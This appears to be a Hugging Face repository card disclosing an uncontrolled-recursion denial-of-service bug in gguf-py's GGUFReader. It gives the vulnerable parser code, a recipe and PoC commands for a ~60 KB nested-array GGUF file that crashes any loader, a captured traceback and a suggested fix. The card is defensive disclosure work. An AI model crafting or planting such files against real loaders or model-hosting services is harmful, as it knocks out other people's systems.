You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Uncontrolled recursion (CWE-674) in gguf-py GGUFReader._get_field_parts via nested-array KV metadata β†’ uncaught RecursionError DoS

Severity: Medium (availability / denial-of-service on model load) Category: Malformed model file β€” GGUF ($4k format), metadata KV parser Weakness: CWE-674 Uncontrolled Recursion β†’ uncaught RecursionError

Affected software

  • Package: gguf (gguf-py, part of the ggml-org/llama.cpp project) β€” version 0.19.0 (pip)
  • File: gguf/gguf_reader.py, function GGUFReader._get_field_parts() (lines 221–257)
  • Tested environment: gguf 0.19.0, numpy 2.5.1, CPython 3.13.12, default sys.recursionlimit = 1000, Linux x86-64

Summary

GGUFReader._get_field_parts() parses an ARRAY-typed metadata KV value by reading the array's element type (raw_itype, a uint32 read straight from the file) and its length, then recursing into _get_field_parts(offs, raw_itype[0]) for every element. The element type is itself attacker-controlled and may equal GGUFValueType.ARRAY (value 9), producing self-recursion with no nesting-depth limit and no validation.

Recursion depth equals the file's array-nesting depth, and each level costs only 12 bytes (u32 element-type = ARRAY + u64 count = 1). Once depth exceeds Python's recursion limit (~1000), an uncaught RecursionError is raised and propagates out of GGUFReader.__init__ (via _build_fields β†’ _get_field_parts), crashing any caller that opens the file. A ~60 KB file (depth 5000) is enough to guarantee the crash regardless of a raised recursion limit.

Root cause

gguf/gguf_reader.py, lines 238–255 (the # Handle arrays. branch):

# Handle arrays.
if gtype == GGUFValueType.ARRAY:
    raw_itype = self._get(offs, np.uint32)      # element type β€” attacker-controlled
    offs += int(raw_itype.nbytes)
    alen = self._get(offs, np.uint64)           # element count β€” attacker-controlled
    offs += int(alen.nbytes)
    aparts: list[npt.NDArray[Any]] = [raw_itype, alen]
    data_idxs: list[int] = []
    # FIXME: Handle multi-dimensional arrays properly instead of flattening
    for idx in range(alen[0]):
        curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
        #                                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        #   raw_itype[0] can be GGUFValueType.ARRAY (9) β†’ unbounded self-recursion
        if idx == 0:
            types += curr_types
        idxs_offs = len(aparts)
        aparts += curr_parts
        data_idxs += (idx + idxs_offs for idx in curr_idxs)
        offs += curr_size
    return offs - orig_offs, aparts, data_idxs, types

The developer-visible comment # FIXME: Handle multi-dimensional arrays properly instead of flattening sits directly above the unguarded recursive loop. Because raw_itype[0] is read verbatim from the file and passed back into _get_field_parts as the element type, an array whose element type is itself ARRAY recurses one level deeper per nesting, with no depth accounting.

Reachability (real callers)

  • transformers β€” transformers/modeling_gguf_pytorch_utils.py:599 reader = GGUFReader(gguf_checkpoint_path), reached via the documented workflow AutoModel.from_pretrained(..., gguf_file="evil.gguf") / AutoModelForCausalLM.from_pretrained(..., gguf_file=...).
  • Direct API β€” any code doing gguf.GGUFReader("model.gguf").
  • Tooling β€” gguf-dump.py / gguf_dump.py shipped with the package.

The crash occurs inside GGUFReader.__init__, i.e. at file-open time, before any tensor data is touched β€” so it triggers on the very first act of inspecting an untrusted GGUF file.

Proof of Concept

gen.py (included) writes a GGUF v3 file: header magic 'GGUF' + version 3 + tensor_count 0 + kv_count 1, then one KV: key 'x', value_type = ARRAY (9), followed by depth repetitions of [u32(type=ARRAY) + u64(count=1)], terminated by [u32(type=UINT8) + u64(count=0)].

python gen.py nested 5000          # writes nested.gguf (~60 KB)
python -c "import gguf; gguf.GGUFReader('nested.gguf')"

Captured evidence (verbatim)

$ ../gguf-venv/bin/python gen.py nested 5000
wrote nested.gguf depth 5000
$ ls -l nested.gguf
-rw-rw-r-- 1 kali kali 60049 ... nested.gguf

$ ../gguf-venv/bin/python -c "import gguf; gguf.GGUFReader('nested.gguf')"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
    import gguf; gguf.GGUFReader('nested.gguf')
  File ".../gguf/gguf_reader.py", line 169, in __init__
    offs = self._build_fields(offs, kv_count)
  File ".../gguf/gguf_reader.py", line 298, in _build_fields
    field_size, field_parts, field_idxs, field_types = self._get_field_parts(offs, raw_kv_type[0])
  File ".../gguf/gguf_reader.py", line 248, in _get_field_parts
    curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
  [Previous line repeated 990 more times]
  File ".../gguf/gguf_reader.py", line 240, in _get_field_parts
    raw_itype = self._get(offs, np.uint32)
  File ".../gguf/gguf_reader.py", line 203, in _get
    arr = self.data[offset:end_offs].view(dtype=dtype)[:count]
  File ".../numpy/_core/memmap.py", line 312, in __array_finalize__
    if hasattr(obj, '_mmap') and np.may_share_memory(self, obj):
RecursionError: maximum recursion depth exceeded
EXIT=1

Negative controls

--- negative controls ---
loaded depth200 ok fields 4                       # depth 200 (< recursionlimit) loads cleanly
NEG CONTROL good.gguf: loaded OK, x = [1, 2, 3]   # well-formed array<uint8> [1,2,3] parses correctly
  • depth=200 (below the recursion limit) β†’ the same code path returns normally with 4 fields.
  • A well-formed single-level array<uint8> value [1, 2, 3] loads and reads back as [1, 2, 3].

This isolates the defect to unbounded recursion depth, not to array parsing in general.

transformers reachability grep

--- transformers reachability grep ---
599:    reader = GGUFReader(gguf_checkpoint_path)

Impact

An attacker who can get a victim to open an untrusted .gguf file (Hub download, model conversion service, CI, inference server auto-loading community GGUFs) causes an uncaught RecursionError that terminates the loader process. The file is tiny (~60 KB for depth 5000) and cheap to craft; raising the Python recursion limit does not help because the depth is attacker-controlled and unbounded. No tensor data required.

Suggested fix

Bound array nesting depth (e.g. pass and check a depth parameter, rejecting beyond a small constant), and/or validate that an array's element type is not itself ARRAY unless an explicit multi-dimensional format is supported. Convert the unhandled deep-nesting case into a clean ValueError (already the pattern for unknown field types at line 257) rather than letting a RecursionError escape.

Dedup note

  • Distinct from public CVEs. Known GGUF-adjacent CVEs are in different components/mechanisms: CVE-2025-2099 / CVE-2025-6921 (transformers Marian/EnglishNormalizer ReDoS β€” different component), CVE-2026-5760 (SGLang GGUF SSTI β€” different library), CVE-2025-66960 (Ollama readGGUFV1String β€” different library, different mechanism). None targets gguf-py _get_field_parts recursion.
  • Distinct from our prior gguf/ggml findings. This is the "R2 nested-array recursion DoS" in the gguf-py parser β€” separate from R1 (gguf-py array-length OOM, gguf-slen-oom-poc), R3 (llama.cpp convert_llama_ggml_to_gguf.py int64-overflow, huntr-poc-ggml-oob), the transformers GGUFTokenizerSkeleton O(NΒ²) tokenizer DoS (huntr-poc-gguf-transformers-dos), the gguf vocab type-confusion, and the tensor-shape div-by-zero findings. Different mechanism (uncontrolled recursion in the KV metadata parser) and different sink (_get_field_parts self-recursion).

Files in this repo

  • gen.py β€” PoC generator (python gen.py nested <depth>; also contains the poc_good control).
  • nested.gguf β€” depth-5000 crash artifact (~60 KB).
  • good.gguf β€” well-formed control (array<uint8> [1,2,3]).
Downloads last month
-
GGUF
Model size
0 params
Architecture
Hardware compatibility
Log In to add your hardware

We're not able to determine the quantization variants.

Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support